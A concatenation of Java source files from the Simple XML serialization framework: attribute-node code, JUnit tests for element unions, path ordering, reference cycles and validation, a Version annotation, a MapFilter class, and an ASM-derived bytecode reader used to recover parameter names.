public String getName() {
return name;
}
/**
* This is used to acquire the namespace prefix for the node.
* If there is no namespace prefix for the node then this will
* return null. Acquiring the prefix enables the qualification
* of the node to be determined. It also allows nodes to be
* grouped by its prefix and allows group operations.
*
* @return this returns the prefix associated with this node
*/
public String getPrefix() {
return prefix;
}
/**
* This allows the namespace reference URI to be determined.
* A reference is a globally unique string that allows the
* node to be identified. Typically the reference will be a URI
* but it can be any unique string used to identify the node.
* This allows the node to be identified within the namespace.
*
* @return this returns the associated namespace reference URI
*/
public String getReference() {
return reference;
}
/**
* Returns the value for the node that this represents. This
* is an immutable value for the node and cannot be changed.
*
* @return the name of the value for this node instance
*/
public String getValue() {
return value;
}
/**
* This method is used to determine if this node is the root
* node for the XML document. This will return false as this
* node can never be the root node because it is an attribute.
*
* @return this will always return false for attribute nodes
*/
public boolean isRoot() {
return false;
}
/**
* This is used to determine if this node is an element. This
* node instance can not be an element so this method returns
* false. Returning null tells the users of this node that any
* attributes added to the node map will be permenantly lost.
*
* @return this returns false as this is an attribute node
*/
public boolean isElement() {
return false;
}
/**
* Because the <code>InputAttribute</code> object represents an
* attribute this method will return null. If nodes are added
* to the node map the values will not be available here.
*
* @return this always returns null for a requested attribute
*/
public InputNode getAttribute(String name) {
return null;
}
/**
* Because the <code>InputAttribute</code> object represents an
* attribute this method will return an empty map. If nodes are
* added to the node map the values will not be maintained.
*
* @return this always returns an empty node map of attributes
*/
public NodeMap<InputNode> getAttributes() {
return new InputNodeMap(this);
}
/**
* Because the <code>InputAttribute</code> object represents an
* attribute this method will return null. An attribute is a
* simple name value pair an so can not contain any child nodes.
*
* @return this always returns null for a requested child node
*/
public InputNode getNext() {
return null;
}
/**
* Because the <code>InputAttribute</code> object represents an
* attribute this method will return null. An attribute is a
* simple name value pair an so can not contain any child nodes.
*
* @param name this is the name of the next expected element
*
* @return this always returns null for a requested child node
*/
public InputNode getNext(String name) {
return null;
}
/**
* This method is used to skip all child elements from this
* element. This allows elements to be effectively skipped such
* that when parsing a document if an element is not required
* then that element can be completely removed from the XML.
*/
public void skip() {
return;
}
/**
* This is used to determine if this input node is empty. An
* empty node is one with no attributes or children. This can
* be used to determine if a given node represents an empty
* entity, with which no extra data can be extracted.
*
* @return this will always return false as it has a value
*/
public boolean isEmpty() {
return false;
}
/**
* This is the string representation of the attribute. It is
* used for debugging purposes. When evaluating the attribute
* the to string can be used to print out the attribute name.
*
* @return this returns a text description of the attribute
*/
public String toString() {
return String.format("attribute %s='%s'", name, value);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionWithSameNamesAndDifferentPathsTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class UnionWithSameNamesAndDifferentPathsTest extends ValidationTestCase {
@Root
private static class Example {
@Path("path[1]")
@Namespace(prefix="x", reference="http://www.xml.com/ns")
@ElementUnion({
@Element(name="a"),
@Element(name="b"),
@Element(name="c")
})
private String x;
@Path("path[2]")
@Namespace(prefix="x", reference="http://www.xml.com/ns")
@ElementUnion({
@Element(name="a"),
@Element(name="b"),
@Element(name="c")
})
private String y;
public Example(
@Path("path[1]") @Element(name="b") String x,
@Path("path[2]") @Element(name="b") String y)
{
this.y = y;
this.x = x;
}
}
@Root
private static class AmbiguousConstructorParameterExample {
@Path("path[1]")
@Namespace(prefix="x", reference="http://www.xml.com/ns")
@ElementUnion({
@Element(name="a"),
@Element(name="b"),
@Element(name="c")
})
private String x;
@Path("path[2]")
@Namespace(prefix="x", reference="http://www.xml.com/ns")
@ElementUnion({
@Element(name="a"),
@Element(name="b"),
@Element(name="c")
})
private String y;
public AmbiguousConstructorParameterExample(
@Element(name="b") String ambiguous,
@Path("path[2]") @Element(name="b") String y)
{
this.y = y;
this.x = ambiguous;
}
}
public void testNamespaceWithUnion() throws Exception{
Persister persister = new Persister();
Example example = new Example("X", "Y");
StringWriter writer = new StringWriter();
persister.write(example, writer);
String text = writer.toString();
Example deserialized = persister.read(Example.class, text);
assertEquals(deserialized.x, "X");
assertEquals(deserialized.y, "Y");
validate(persister, example);
assertElementExists(text, "/example/path[1]/a");
assertElementHasValue(text, "/example/path[1]/a", "X");
assertElementHasNamespace(text, "/example/path[1]/a", "http://www.xml.com/ns");
assertElementExists(text, "/example/path[2]/a");
assertElementHasValue(text, "/example/path[2]/a", "Y");
assertElementHasNamespace(text, "/example/path[2]/a", "http://www.xml.com/ns");
}
public void testErrorInParametersExample() throws Exception{
boolean failure = false;
try {
Persister persister = new Persister();
AmbiguousConstructorParameterExample example = new AmbiguousConstructorParameterExample("X", "Y");
persister.write(example, System.out);
} catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Ambiguous parameter should cause a failure", failure);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathSectionIndexOrderTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.ValidationTestCase;
public class PathSectionIndexOrderTest extends ValidationTestCase {
@Order(
elements={
"./path[1]/first",
"./path[3]/third",
"./path[2]/second"
},
attributes={
"./path[1]/first/@a",
"./path[1]/first/@b"
}
)
@Default
@SuppressWarnings("all")
private static class ElementPathSectionOutOfOrder {
@Path("path[1]/first")
private String one;
@Path("path[2]/second")
private String two;
@Path("path[3]/third")
private String three;
@Attribute
@Path("path[1]/first")
private String a;
@Attribute
@Path("path[1]/first")
private String b;
}
@Order(
elements={
"./path[1]/first/@value"
}
)
@Default
@SuppressWarnings("all")
private static class AttributeReferenceInElementOrder {
@Path("path[1]/first")
private String value;
}
@Order(
attributes={
"./path[1]/first/value"
}
)
@Default
@SuppressWarnings("all")
private static class ElementReferenceInAttributeOrder {
@Attribute
@Path("path[1]/first")
private String value;
}
public void testOutOfOrderElement() throws Exception {
Persister persister = new Persister();
ElementPathSectionOutOfOrder example = new ElementPathSectionOutOfOrder();
boolean exception = false;
try {
persister.write(example, System.err);
}catch(Exception e) {
e.printStackTrace();
exception = true;
}
assertTrue("Order should be illegal", exception);
}
public void testAttributeInElement() throws Exception {
Persister persister = new Persister();
AttributeReferenceInElementOrder example = new AttributeReferenceInElementOrder();
boolean exception = false;
try {
persister.write(example, System.err);
}catch(Exception e) {
e.printStackTrace();
exception = true;
}
assertTrue("Order should be illegal", exception);
}
public void testElementInAttribute() throws Exception {
Persister persister = new Persister();
ElementReferenceInAttributeOrder example = new ElementReferenceInAttributeOrder();
boolean exception = false;
try {
persister.write(example, System.err);
}catch(Exception e) {
e.printStackTrace();
exception = true;
}
assertTrue("Order should be illegal", exception);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/Version.java<|end_filename|>
/*
* Version.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
/**
* The <code>Version</code> annotation is used to specify an attribute
* that is used to represent a revision of the class XML schema. This
* annotation can annotate only floating point types such as double,
* float, and the java primitive object types. This can not be used to
* annotate strings, enumerations or other primitive types.
*
* @author <NAME>
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface Version {
/**
* This represents the name of the XML attribute. Annotated fields
* or methods can optionally provide the name of the XML attribute
* they represent. If a name is not provided then the field or
* method name is used in its place. A name can be specified if
* the field or method name is not suitable for the XML attribute.
*
* @return the name of the XML attribute this represents
*/
String name() default "";
/**
* This represents the revision of the class. A revision is used
* by the deserialization process to determine how to match the
* annotated fields and methods to the XML elements and attributes.
* If the version deserialized is different to the annotated
* revision then annotated fields and methods are not required
* and if there are excessive XML nodes they are ignored.
*
* @return this returns the version of the XML class schema
*/
double revision() default 1.0;
/**
* Determines whether the version is required within an XML
* element. Any field marked as not required will not have its
* value set when the object is deserialized. This is written
* only if the version is not the same as the default version.
*
* @return true if the version is required, false otherwise
*/
boolean required() default false;
}
<|start_filename|>src/main/java/org/simpleframework/xml/filter/MapFilter.java<|end_filename|>
/*
* MapFilter.java May 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.filter;
import java.util.Map;
/**
* The <code>MapFilter</code> object is a filter that can make use
* of user specified mappings for replacement. This filter can be
* given a <code>Map</code> of name value pairs which will be used
* to resolve a value using the specified mappings. If there is
* no match found the filter will delegate to the provided filter.
*
* @author <NAME>
*/
public class MapFilter implements Filter {
/**
* This will resolve the replacement if no mapping is found.
*/
private Filter filter;
/**
* This contains a collection of user specified mappings.
*/
private Map map;
/**
* Constructor for the <code>MapFilter</code> object. This will
* use the specified mappings to resolve replacements. If this
* map does not contain a requested mapping null is resolved.
*
* @param map this contains the user specified mappings
*/
public MapFilter(Map map) {
this(map, null);
}
/**
* Constructor for the <code>MapFilter</code> object. This will
* use the specified mappings to resolve replacements. If this
* map does not contain a requested mapping the provided filter
* is used to resolve the replacement text.
*
* @param map this contains the user specified mappings
* @param filter this is delegated to if the map fails
*/
public MapFilter(Map map, Filter filter) {
this.filter = filter;
this.map = map;
}
/**
* Replaces the text provided with the value resolved from the
* specified <code>Map</code>. If the map fails this will
* delegate to the specified <code>Filter</code> if it is not
* a null object. If no match is found a null is returned.
*
* @param text this is the text value to be replaced
*
* @return this will return the replacement text resolved
*/
public String replace(String text) {
Object value = null;
if(map != null) {
value = map.get(text);
}
if(value != null) {
return value.toString();
}
if(filter != null) {
return filter.replace(text);
}
return null;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/ListCycleTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringWriter;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.ValidationTestCase;
public class ListCycleTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<root id='main'>\n"+
" <one length='5' id='numbers'>\n\r"+
" <text value='entry one'/> \n\r"+
" <text value='entry two'/> \n\r"+
" <text value='entry three'/> \n\r"+
" <text value='entry four'/> \n\r"+
" <text value='entry five'/> \n\r"+
" </one>\n\r"+
" <two ref='numbers'/>\n"+
" <three length='3'>\n" +
" <text value='tom'/> \n\r"+
" <text value='dick'/> \n\r"+
" <text value='harry'/> \n\r"+
" </three>\n"+
" <example ref='main'/>\n"+
"</root>";
private static final String NESTED =
"<?xml version=\"1.0\"?>\n"+
"<root id='main'>\n"+
" <list id='list'>\n" +
" <value> \n\r"+
" <list ref='list'/>\n"+
" </value>\r\n"+
" </list>\n"+
"</root>";
private static final String INLINE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<inlineListExample id='main'>\n"+
" <text value='entry one'/> \n\r"+
" <text value='entry two'/> \n\r"+
" <text value='entry three'/> \n\r"+
" <text value='entry four'/> \n\r"+
" <text value='entry five'/> \n\r"+
" <example ref='main'/>\n"+
"</inlineListExample>";
private static final String INLINE_PRIMITIVE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<inlinePrimitiveListExample id='main'>\n"+
" <string>entry one</string> \n\r"+
" <string>entry two</string> \n\r"+
" <string>entry three</string> \n\r"+
" <string>entry four</string> \n\r"+
" <string>entry five</string> \n\r"+
" <example ref='main'/>\n"+
"</inlinePrimitiveListExample>";
@Root(name="root")
private static class ListExample {
@ElementList(name="one", type=Entry.class)
public List<Entry> one;
@ElementList(name="two", type=Entry.class)
public List<Entry> two;
@ElementList(name="three", type=Entry.class)
public List<Entry> three;
@Element(name="example")
public ListExample example;
}
@Root
private static class InlineListExample {
@ElementList(inline=true)
public List<Entry> list;
@Element
public InlineListExample example;
}
@Root
private static class InlinePrimitiveListExample {
@ElementList(inline=true, data=true)
public List<String> list;
@Element
public InlinePrimitiveListExample example;
}
@Root(name="text")
private static class Entry {
@Attribute(name="value")
public String value;
public Entry() {
super();
}
public Entry(String value) {
this.value = value;
}
}
@Root(name="root")
private static class NestedListExample {
@ElementList(name="list", type=Value.class)
public List<Value> list;
}
@Root(name="value")
private static class Value {
@ElementList(name="list", type=Value.class, required=false)
private List<Value> list;
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister(new CycleStrategy("id", "ref"));
}
public void testCycle() throws Exception {
ListExample example = persister.read(ListExample.class, SOURCE);
assertEquals(example.one.size(), 5);
assertEquals(example.one.get(0).value, "entry one");
assertEquals(example.one.get(1).value, "entry two");
assertEquals(example.one.get(2).value, "entry three");
assertEquals(example.one.get(3).value, "entry four");
assertEquals(example.one.get(4).value, "entry five");
assertEquals(example.two.size(), 5);
assertEquals(example.two.get(0).value, "entry one");
assertEquals(example.two.get(1).value, "entry two");
assertEquals(example.two.get(2).value, "entry three");
assertEquals(example.two.get(3).value, "entry four");
assertEquals(example.two.get(4).value, "entry five");
assertEquals(example.three.size(), 3);
assertEquals(example.three.get(0).value, "tom");
assertEquals(example.three.get(1).value, "dick");
assertEquals(example.three.get(2).value, "harry");
assertTrue(example.one == example.two);
assertTrue(example == example.example);
StringWriter out = new StringWriter();
persister.write(example, out);
example = persister.read(ListExample.class, SOURCE);
assertEquals(example.one.size(), 5);
assertEquals(example.one.get(0).value, "entry one");
assertEquals(example.one.get(1).value, "entry two");
assertEquals(example.one.get(2).value, "entry three");
assertEquals(example.one.get(3).value, "entry four");
assertEquals(example.one.get(4).value, "entry five");
assertEquals(example.two.size(), 5);
assertEquals(example.two.get(0).value, "entry one");
assertEquals(example.two.get(1).value, "entry two");
assertEquals(example.two.get(2).value, "entry three");
assertEquals(example.two.get(3).value, "entry four");
assertEquals(example.two.get(4).value, "entry five");
assertEquals(example.three.size(), 3);
assertEquals(example.three.get(0).value, "tom");
assertEquals(example.three.get(1).value, "dick");
assertEquals(example.three.get(2).value, "harry");
assertTrue(example.one == example.two);
assertTrue(example == example.example);
validate(example, persister);
}
public void testInlineList() throws Exception {
InlineListExample example = persister.read(InlineListExample.class, INLINE_LIST);
assertEquals(example.list.size(), 5);
assertEquals(example.list.get(0).value, "entry one");
assertEquals(example.list.get(1).value, "entry two");
assertEquals(example.list.get(2).value, "entry three");
assertEquals(example.list.get(3).value, "entry four");
assertEquals(example.list.get(4).value, "entry five");
assertTrue(example == example.example);
StringWriter out = new StringWriter();
persister.write(example, out);
example = persister.read(InlineListExample.class, INLINE_LIST);
assertEquals(example.list.size(), 5);
assertEquals(example.list.get(0).value, "entry one");
assertEquals(example.list.get(1).value, "entry two");
assertEquals(example.list.get(2).value, "entry three");
assertEquals(example.list.get(3).value, "entry four");
assertEquals(example.list.get(4).value, "entry five");
assertTrue(example == example.example);
validate(example, persister);
}
public void testInlinePrimitiveList() throws Exception {
InlinePrimitiveListExample example = persister.read(InlinePrimitiveListExample.class, INLINE_PRIMITIVE_LIST);
assertEquals(example.list.size(), 5);
assertEquals(example.list.get(0), "entry one");
assertEquals(example.list.get(1), "entry two");
assertEquals(example.list.get(2), "entry three");
assertEquals(example.list.get(3), "entry four");
assertEquals(example.list.get(4), "entry five");
assertTrue(example == example.example);
StringWriter out = new StringWriter();
persister.write(example, out);
example = persister.read(InlinePrimitiveListExample.class, INLINE_PRIMITIVE_LIST);
assertEquals(example.list.size(), 5);
assertEquals(example.list.get(0), "entry one");
assertEquals(example.list.get(1), "entry two");
assertEquals(example.list.get(2), "entry three");
assertEquals(example.list.get(3), "entry four");
assertEquals(example.list.get(4), "entry five");
assertTrue(example == example.example);
validate(example, persister);
}
public void testNestedExample() throws Exception {
NestedListExample root = persister.read(NestedListExample.class, NESTED);
assertEquals(root.list.size(), 1);
assertTrue(root.list.get(0).list == root.list);
validate(root, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ValidateTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class ValidateTest extends ValidationTestCase {
private static final String VERSION_MISSING =
"<test>\n"+
" <array length='3'>\n"+
" <entry name='a' version='ONE'>Example 1</entry>\r\n"+
" <entry name='b' version='TWO'>Example 2</entry>\r\n"+
" <entry name='c'>Example 3</entry>\r\n"+
" </array>\n\r"+
"</test>";
private static final String NAME_MISSING =
"<test>\n"+
" <array length='3'>\n"+
" <entry version='ONE'>Example 1</entry>\r\n"+
" <entry name='b' version='TWO'>Example 2</entry>\r\n"+
" <entry name='c' version='THREE'>Example 3</entry>\r\n"+
" </array>\n\r"+
"</test>";
private static final String TEXT_MISSING =
"<test>\n"+
" <array length='3'>\n"+
" <entry name='a' version='ONE'>Example 1</entry>\r\n"+
" <entry name='b' version='TWO'>Example 2</entry>\r\n"+
" <entry name='c' version='THREE'/>\r\n"+
" </array>\n\r"+
"</test>";
private static final String EXTRA_ELEMENT =
"<test>\n"+
" <array length='3'>\n"+
" <entry name='a' version='ONE'>Example 1</entry>\r\n"+
" <entry name='b' version='TWO'>Example 2</entry>\r\n"+
" <entry name='c' version='THREE'>Example 3</entry>\r\n"+
" </array>\n\r"+
" <array length='4'>\n"+
" <entry name='f' version='ONE'>Example 4</entry>\r\n"+
" </array>\n"+
"</test>";
@Root(name="test")
private static class TextList {
@ElementArray(name="array", entry="entry")
private TextEntry[] array;
}
@Root(name="text")
private static class TextEntry {
@Attribute(name="name")
private String name;
@Attribute(name="version")
private Version version;
@Text(data=true)
private String text;
}
private enum Version {
ONE,
TWO,
THREE
}
public void testVersionMissing() throws Exception {
Serializer persister = new Persister();
boolean success = false;
try {
success = persister.validate(TextList.class, VERSION_MISSING);
} catch(Exception e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testNameMissing() throws Exception {
Serializer persister = new Persister();
boolean success = false;
try {
success = persister.validate(TextList.class, NAME_MISSING);
} catch(Exception e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testTextMissing() throws Exception {
Serializer persister = new Persister();
boolean success = false;
try {
success = persister.validate(TextList.class, TEXT_MISSING);
} catch(Exception e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testExtraElement() throws Exception {
Serializer persister = new Persister();
boolean success = false;
try {
success = persister.validate(TextList.class, EXTRA_ELEMENT);
} catch(Exception e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/reflect/ByteCodeReader.java<|end_filename|>
package org.simpleframework.xml.reflect;
import java.io.IOException;
import java.io.InputStream;
/***
* Portions Copyright (c) 2007 <NAME> Portions copyright (c)
* 2000-2007 INRIA, France Telecom All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met: 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer. 2.
* Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution. 3.
* Neither the name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* A Java class parser to make a Class Visitor visit an existing class.
* This class parses a byte array conforming to the Java class file format
* and calls the appropriate visit methods of a given class visitor for
* each field, method and bytecode instruction encountered.
*
* @author <NAME>
* @author <NAME>
*/
class ClassReader {
/**
* The class to be parsed. <i>The content of this array must not be
* modified. This field is intended for Attribute sub classes, and is
* normally not needed by class generators or adapters.</i>
*/
public final byte[] b;
/**
* The start index of each constant pool item in {@link #b b}, plus
* one. The one byte offset skips the constant pool item tag that
* indicates its type.
*/
private final int[] items;
/**
* The String objects corresponding to the CONSTANT_Utf8 items. This
* cache avoids multiple parsing of a given CONSTANT_Utf8 constant pool
* item, which GREATLY improves performances (by a factor 2 to 3). This
* caching strategy could be extended to all constant pool items, but
* its benefit would not be so great for these items (because they are
* much less expensive to parse than CONSTANT_Utf8 items).
*/
private final String[] strings;
/**
* Maximum length of the strings contained in the constant pool of the
* class.
*/
private final int maxStringLength;
/**
* Start index of the class header information (access, name...) in
* {@link #b b}.
*/
public final int header;
/**
* The type of CONSTANT_Fieldref constant pool items.
*/
final static int FIELD = 9;
/**
* The type of CONSTANT_Methodref constant pool items.
*/
final static int METH = 10;
/**
* The type of CONSTANT_InterfaceMethodref constant pool items.
*/
final static int IMETH = 11;
/**
* The type of CONSTANT_Integer constant pool items.
*/
final static int INT = 3;
/**
* The type of CONSTANT_Float constant pool items.
*/
final static int FLOAT = 4;
/**
* The type of CONSTANT_Long constant pool items.
*/
final static int LONG = 5;
/**
* The type of CONSTANT_Double constant pool items.
*/
final static int DOUBLE = 6;
/**
* The type of CONSTANT_NameAndType constant pool items.
*/
final static int NAME_TYPE = 12;
/**
* The type of CONSTANT_Utf8 constant pool items.
*/
final static int UTF8 = 1;
// ------------------------------------------------------------------------
// Constructors
// ------------------------------------------------------------------------
/**
* Constructs a new {@link ClassReader} object.
*
* @param b
* the bytecode of the class to be read.
*/
private ClassReader(final byte[] b) {
this(b, 0);
}
/**
* Constructs a new {@link ClassReader} object.
*
* @param b
* the bytecode of the class to be read.
* @param off
* the start offset of the class data.
*/
private ClassReader(final byte[] b, final int off) {
this.b = b;
// parses the constant pool
items = new int[readUnsignedShort(off + 8)];
int n = items.length;
strings = new String[n];
int max = 0;
int index = off + 10;
for (int i = 1; i < n; ++i) {
items[i] = index + 1;
int size;
switch (b[index]) {
case FIELD:
case METH:
case IMETH:
case INT:
case FLOAT:
case NAME_TYPE:
size = 5;
break;
case LONG:
case DOUBLE:
size = 9;
++i;
break;
case UTF8:
size = 3 + readUnsignedShort(index + 1);
if (size > max) {
max = size;
}
break;
// case HamConstants.CLASS:
// case HamConstants.STR:
default:
size = 3;
break;
}
index += size;
}
maxStringLength = max;
// the class header information starts just after the constant pool
header = index;
}
/**
* Constructs a new {@link ClassReader} object.
*
* @param is
* an input stream from which to read the class.
* @throws IOException
* if a problem occurs during reading.
*/
public ClassReader(final InputStream is) throws IOException {
this(readClass(is));
}
/**
* Reads the bytecode of a class.
*
* @param is
* an input stream from which to read the class.
* @return the bytecode read from the given input stream.
* @throws IOException
* if a problem occurs during reading.
*/
private static byte[] readClass(final InputStream is)
throws IOException {
if (is == null) {
throw new IOException("Class not found");
}
byte[] b = new byte[is.available()];
int len = 0;
while (true) {
int n = is.read(b, len, b.length - len);
if (n == -1) {
if (len < b.length) {
byte[] c = new byte[len];
System.arraycopy(b, 0, c, 0, len);
b = c;
}
return b;
}
len += n;
if (len == b.length) {
int last = is.read();
if (last < 0) {
return b;
}
byte[] c = new byte[b.length + 1000];
System.arraycopy(b, 0, c, 0, len);
c[len++] = (byte) last;
b = c;
}
}
}
// ------------------------------------------------------------------------
// Public methods
// ------------------------------------------------------------------------
/**
* Makes the given visitor visit the Java class of this
* {@link ClassReader}. This class is the one specified in the
* constructor (see {@link #ClassReader(byte[]) ClassReader}).
*
* @param classVisitor
* the visitor that must visit this class.
*/
public void accept(final TypeCollector classVisitor) {
char[] c = new char[maxStringLength]; // buffer used to read strings
int i, j, k; // loop variables
int u, v, w; // indexes in b
String attrName;
int anns = 0;
int ianns = 0;
// visits the header
u = header;
v = items[readUnsignedShort(u + 4)];
int len = readUnsignedShort(u + 6);
w = 0;
u += 8;
for (i = 0; i < len; ++i) {
u += 2;
}
v = u;
i = readUnsignedShort(v);
v += 2;
for (; i > 0; --i) {
j = readUnsignedShort(v + 6);
v += 8;
for (; j > 0; --j) {
v += 6 + readInt(v + 2);
}
}
i = readUnsignedShort(v);
v += 2;
for (; i > 0; --i) {
j = readUnsignedShort(v + 6);
v += 8;
for (; j > 0; --j) {
v += 6 + readInt(v + 2);
}
}
i = readUnsignedShort(v);
v += 2;
for (; i > 0; --i) {
v += 6 + readInt(v + 2);
}
// annotations not needed.
// visits the fields
i = readUnsignedShort(u);
u += 2;
for (; i > 0; --i) {
j = readUnsignedShort(u + 6);
u += 8;
for (; j > 0; --j) {
u += 6 + readInt(u + 2);
}
}
// visits the methods
i = readUnsignedShort(u);
u += 2;
for (; i > 0; --i) {
// inlined in original ASM source, now a method call
u = readMethod(classVisitor, c, u);
}
}
private int readMethod(TypeCollector classVisitor, char[] c, int u) {
int v;
int w;
int j;
String attrName;
int k;
int access = readUnsignedShort(u);
String name = readUTF8(u + 2, c);
String desc = readUTF8(u + 4, c);
v = 0;
w = 0;
// looks for Code and Exceptions attributes
j = readUnsignedShort(u + 6);
u += 8;
for (; j > 0; --j) {
attrName = readUTF8(u, c);
int attrSize = readInt(u + 2);
u += 6;
// tests are sorted in decreasing frequency order
// (based on frequencies observed on typical classes)
if (attrName.equals("Code")) {
v = u;
}
u += attrSize;
}
// reads declared exceptions
if (w == 0) {
} else {
w += 2;
for (j = 0; j < readUnsignedShort(w); ++j) {
w += 2;
}
}
// visits the method's code, if any
MethodCollector mv = classVisitor.visitMethod(access, name, desc);
if (mv != null && v != 0) {
int codeLength = readInt(v + 4);
v += 8;
int codeStart = v;
int codeEnd = v + codeLength;
v = codeEnd;
j = readUnsignedShort(v);
v += 2;
for (; j > 0; --j) {
v += 8;
}
// parses the local variable, line number tables, and code
// attributes
int varTable = 0;
int varTypeTable = 0;
j = readUnsignedShort(v);
v += 2;
for (; j > 0; --j) {
attrName = readUTF8(v, c);
if (attrName.equals("LocalVariableTable")) {
varTable = v + 6;
} else if (attrName.equals("LocalVariableTypeTable")) {
varTypeTable = v + 6;
}
v += 6 + readInt(v + 2);
}
v = codeStart;
// visits the local variable tables
if (varTable != 0) {
if (varTypeTable != 0) {
k = readUnsignedShort(varTypeTable) * 3;
w = varTypeTable + 2;
int[] typeTable = new int[k];
while (k > 0) {
typeTable[--k] = w + 6; // signature
typeTable[--k] = readUnsignedShort(w + 8); // index
typeTable[--k] = readUnsignedShort(w); // start
w += 10;
}
}
k = readUnsignedShort(varTable);
w = varTable + 2;
for (; k > 0; --k) {
int index = readUnsignedShort(w + 8);
mv.visitLocalVariable(readUTF8(w + 4, c), index);
w += 10;
}
}
}
return u;
}
/**
* Reads an unsigned short value in {@link #b b}. <i>This method is
* intended for Attribute sub classes, and is normally not needed by
* class generators or adapters.</i>
*
* @param index
* the start index of the value to be read in {@link #b b}.
* @return the read value.
*/
private int readUnsignedShort(final int index) {
byte[] b = this.b;
return ((b[index] & 0xFF) << 8) | (b[index + 1] & 0xFF);
}
/**
* Reads a signed int value in {@link #b b}. <i>This method is intended
* for Attribute sub classes, and is normally not needed by class
* generators or adapters.</i>
*
* @param index
* the start index of the value to be read in {@link #b b}.
* @return the read value.
*/
private int readInt(final int index) {
byte[] b = this.b;
return ((b[index] & 0xFF) << 24) | ((b[index + 1] & 0xFF) << 16)
| ((b[index + 2] & 0xFF) << 8) | (b[index + 3] & 0xFF);
}
/**
* Reads an UTF8 string constant pool item in {@link #b b}. <i>This
* method is intended for Attribute sub classes, and is normally not
* needed by class generators or adapters.</i>
*
* @param index
* the start index of an unsigned short value in {@link #b b}
* , whose value is the index of an UTF8 constant pool item.
* @param buf
* buffer to be used to read the item. This buffer must be
* sufficiently large. It is not automatically resized.
* @return the String corresponding to the specified UTF8 item.
*/
private String readUTF8(int index, final char[] buf) {
int item = readUnsignedShort(index);
String s = strings[item];
if (s != null) {
return s;
}
index = items[item];
return strings[item] = readUTF(index + 2, readUnsignedShort(index),
buf);
}
/**
* Reads UTF8 string in {@link #b b}.
*
* @param index
* start offset of the UTF8 string to be read.
* @param utfLen
* length of the UTF8 string to be read.
* @param buf
* buffer to be used to read the string. This buffer must be
* sufficiently large. It is not automatically resized.
* @return the String corresponding to the specified UTF8 string.
*/
